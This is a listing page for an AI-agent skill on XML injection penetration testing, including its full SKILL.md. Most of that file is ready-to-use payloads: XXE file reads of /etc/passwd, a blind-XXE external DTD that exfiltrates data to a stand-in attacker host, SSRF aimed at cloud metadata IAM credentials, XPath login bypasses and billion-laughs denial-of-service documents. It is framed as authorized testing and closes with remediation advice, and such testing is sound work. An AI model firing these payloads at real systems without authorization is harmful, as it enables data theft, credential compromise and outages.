testing-for-xml-injection-vulnerabilities — Claude Code skill
testing-for-xml-injection-vulnerabilities — a skill that walks an agent through XML injection testing: XXE, blind XXE, SSRF and XPath. Useful when the target parses XML somewhere in the request path.
Apache-2.0 261 installs ★ 36,511 updated 2026-08-31
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-xml-injection-vulnerabilities -a claude-codeWhat testing-for-xml-injection-vulnerabilities does
It covers applications that take XML input: SOAP and XML-RPC APIs, file imports, SAML sign-in. First step is reconnaissance. Hunt for endpoints accepting application/xml or text/xml, pull WSDL files, check whether uploaded .svg, .docx or .xlsx get parsed server-side.
Then come the actual probes. Entity expansion to read a local file, blind XXE via an external DTD, SSRF pointed at the cloud metadata address 169.254.169.254, XPath injection in search and login parameters, and entity-expansion denial of service at the end. Payloads are written out in the skill text, ready to paste.
Tooling: Burp Suite with Content Type Converter and XXE Scanner, xmllint, Python 3 with lxml and requests, and an out-of-band listener such as Burp Collaborator or interact.sh. Blind XXE is unprovable without that listener, since the response carries nothing back. SSRF and DoS payloads belong in an authorized engagement: a “billion laughs” document takes down the parser process.
What it helps with
- find endpoints that quietly parse XML
- read server files through an external entity
- confirm blind XXE over a DNS callback
- reach cloud metadata through SSRF
- bypass an XPath login with a quoted tautology
Example prompts for the agent
- Test
/api/datafor XXE: it acceptsapplication/xml, check whether/etc/passwdcomes back. - Build a blind XXE payload with an external DTD and confirm it fires through interact.sh.
- Run XPath injection against the
querysearch parameter and tell me if the login check can be bypassed.
How to install testing-for-xml-injection-vulnerabilities
1Skills CLI (Vercel)
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-xml-injection-vulnerabilities -a claude-code2Manually: put the files in place
~/.claude/skills/testing-for-xml-injection-vulnerabilities/SKILL.mdCopy the whole skill folder; for one project use .claude/skills/testing-for-xml-injection-vulnerabilities/
1Skills CLI (Vercel)
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-xml-injection-vulnerabilities -a codex2Manually: put the files in place
.agents/skills/testing-for-xml-injection-vulnerabilities/SKILL.mdFor all projects use ~/.agents/skills/
1Skills CLI (Vercel)
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-xml-injection-vulnerabilities -a cursor2Manually: put the files in place
.cursor/skills/testing-for-xml-injection-vulnerabilities/SKILL.mdCursor also reads .agents/skills/ and .claude/skills/
1GitHub CLI
gh skill install mukul975/Anthropic-Cybersecurity-Skills skills/testing-for-xml-injection-vulnerabilities2Manually: put the files in place
.github/skills/testing-for-xml-injection-vulnerabilities/SKILL.md1Skills CLI (Vercel)
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-xml-injection-vulnerabilities -a gemini-cli2Platform CLI
gemini skills install https://github.com/mukul975/Anthropic-Cybersecurity-Skills --path skills/testing-for-xml-injection-vulnerabilitiesManually: put the files in place
.devin/skills/testing-for-xml-injection-vulnerabilities/SKILL.mdThe legacy .windsurf/skills/ path still works
Skills CLI (Vercel)
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-xml-injection-vulnerabilities -a opencodeClaude.ai
Zip the folder and upload it in Settings → Capabilities → Skills
Step by step, with commands for each platform: How to install skills in Claude Code: five ways
Questions about testing-for-xml-injection-vulnerabilities
How to install testing-for-xml-injection-vulnerabilities in Claude Code?
Run npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-xml-injection-vulnerabilities -a claude-code. The skill lands at ~/.claude/skills/testing-for-xml-injection-vulnerabilities/SKILL.md.
What does this skill do?
It gives the agent a step-by-step XML injection test plan: endpoint discovery, file-read XXE, blind XXE, SSRF, XPath injection and entity bombs. Payloads and commands sit next to each step.
What do I need for blind XXE?
An out-of-band interaction server, Burp Collaborator or interact.sh. The skill also expects an external DTD hosted on your side.
Source text
SKILL.md · Apache-2.0
--- name: testing-for-xml-injection-vulnerabilities description: Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks. domain: cybersecurity subdomain: web-application-security tags: - xml-injection - xxe - xpath-injection - xml-parsing - web-security - entity-injection - dtd-attack version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 mitre_attack: - T1190 - T1059.007 - T1505.003 - T1083 - T1055 --- # Testing for XML Injection Vulnerabilities ## When to Use - When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads) - During penetration testing of applications with XML parsers - When assessing SAML-based authentication implementations - When testing file import/export functionality that handles XML formats - During API security testing of SOAP or XML-based web services ## Prerequisites - Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner) - XMLLint or similar XML validation tools - Understanding of XML structure, DTDs, and entity processing - Python 3.x with lxml and requests libraries - Access to an out-of-band interaction server (Burp Collaborator, interact.sh) - Sample XXE payloads from PayloadsAllTheThings repository ## Workflow ### Step 1 — Identify XML Processing Endpoints ```bash # Look for endpoints accepting XML content types # Content-Type: application/xml, text/xml, application/soap+xml # Check WSDL files for SOAP services curl -s http://target.com/service?wsdl # Test if endpoint accepts XML by changing Content-Type curl -X POST http://target.com/api/data \ -H "Content-Type: application/xml" \ -d '<?xml version="1.0"?><root><test>hello</test></root>' # Check for XML file upload functionality # Look for .xml, .svg, .xlsx, .docx file processing ``` ### Step 2 — Test for Basic XXE (File Retrieval) ```xml <!-- Basic XXE to read local files --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root><data>&xxe;</data></root> <!-- Windows file retrieval --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <root><data>&xxe;</data></root> <!-- Using PHP wrapper for base64-encoded file content --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]> <root><data>&xxe;</data></root> ``` ### Step 3 — Test for Blind XXE with Out-of-Band Detection ```xml <!-- Out-of-band XXE using external DTD --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker-server.com/xxe.dtd"> %xxe; ]> <root><data>test</data></root> <!-- External DTD file (xxe.dtd hosted on attacker server) --> <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker-server.com/?data=%file;'>"> %eval; %exfil; <!-- DNS-based out-of-band detection --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://xxe-test.burpcollaborator.net"> ]> <root><data>&xxe;</data></root> ``` ### Step 4 — Test for SSRF via XXE ```xml <!-- Internal network scanning via XXE --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]> <root><data>&xxe;</data></root> <!-- AWS metadata endpoint access --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]> <root><data>&xxe;</data></root> <!-- Internal port scanning --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-server:8080/"> ]> <root><data>&xxe;</data></root> ``` ### Step 5 — Test for XPath Injection ```bash # Basic XPath injection in search parameters curl "http://target.com/search?query=' or '1'='1" # XPath authentication bypass curl -X POST http://target.com/login \ -d "username=' or '1'='1&password=' or '1'='1" # XPath data extraction curl "http://target.com/search?query=' or 1=1 or ''='" # Blind XPath injection with boolean-based extraction curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='" curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='" ``` ### Step 6 — Test for XML Billion Laughs (DoS) ```xml <!-- Billion Laughs attack (use only in authorized testing) --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> ]> <root><data>&lol4;</data></root> <!-- Quadratic blowup attack --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"> ]> <root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root> ``` ## Key Concepts | Concept | Description | |---------|-------------| | XXE (XML External Entity) | Attack exploiting XML parsers that process external entity references | | Blind XXE | XXE where response is not reflected; requires out-of-band channels | | XPath Injection | Injection into XPath queries used to navigate XML documents | | DTD (Document Type Definition) | Declarations that define XML document structure and entities | | Parameter Entities | Special entities (%) used within DTDs for blind XXE exploitation | | SSRF via XXE | Using XXE to make server-side requests to internal resources | | XML Bomb | Denial of service via recursive entity expansion (Billion Laughs) | ## Tools & Systems | Tool | Purpose | |------|---------| | Burp Suite | HTTP proxy with XXE Scanner extension for automated detection | | XXEinjector | Automated XXE injection and data exfiltration tool | | OXML_XXE | Tool for embedding XXE payloads in Office XML documents | | xmllint | XML validation and parsing utility for payload testing | | interact.sh | Out-of-band interaction server for blind XXE detection | | Content Type Converter | Burp extension to convert JSON requests to XML for XXE testing | ## Common Scenarios 1. **File Disclosure** — Read sensitive server files (/etc/passwd, web.config) through classic XXE entity injection in XML input fields 2. **SSRF to Cloud Metadata** — Access AWS/GCP/Azure metadata endpoints through XXE to steal IAM credentials and access tokens 3. **Blind Data Exfiltration** — Extract sensitive data through out-of-band DNS/HTTP channels when XXE output is not reflected 4. **SAML XXE** — Inject XXE payloads into SAML assertions during single sign-on authentication flows 5. **SVG File Upload XXE** — Upload malicious SVG files containing XXE payloads to trigger server-side XML parsing ## Output Format ``` ## XML Injection Assessment Report - **Target**: http://target.com/api/xml-endpoint - **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection - **Severity**: Critical ### Findings | # | Type | Endpoint | Payload | Impact | |---|------|----------|---------|--------| | 1 | XXE File Read | POST /api/import | SYSTEM "file:///etc/passwd" | Local File Disclosure | | 2 | Blind XXE | POST /api/upload | External DTD with OOB | Data Exfiltration | | 3 | SSRF via XXE | POST /api/parse | SYSTEM "http://169.254.169.254/" | Cloud Credential Theft | ### Remediation - Disable external entity processing in XML parser configuration - Use JSON instead of XML where possible - Implement XML schema validation with strict DTD restrictions - Block outbound connections from XML processing services ```
© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills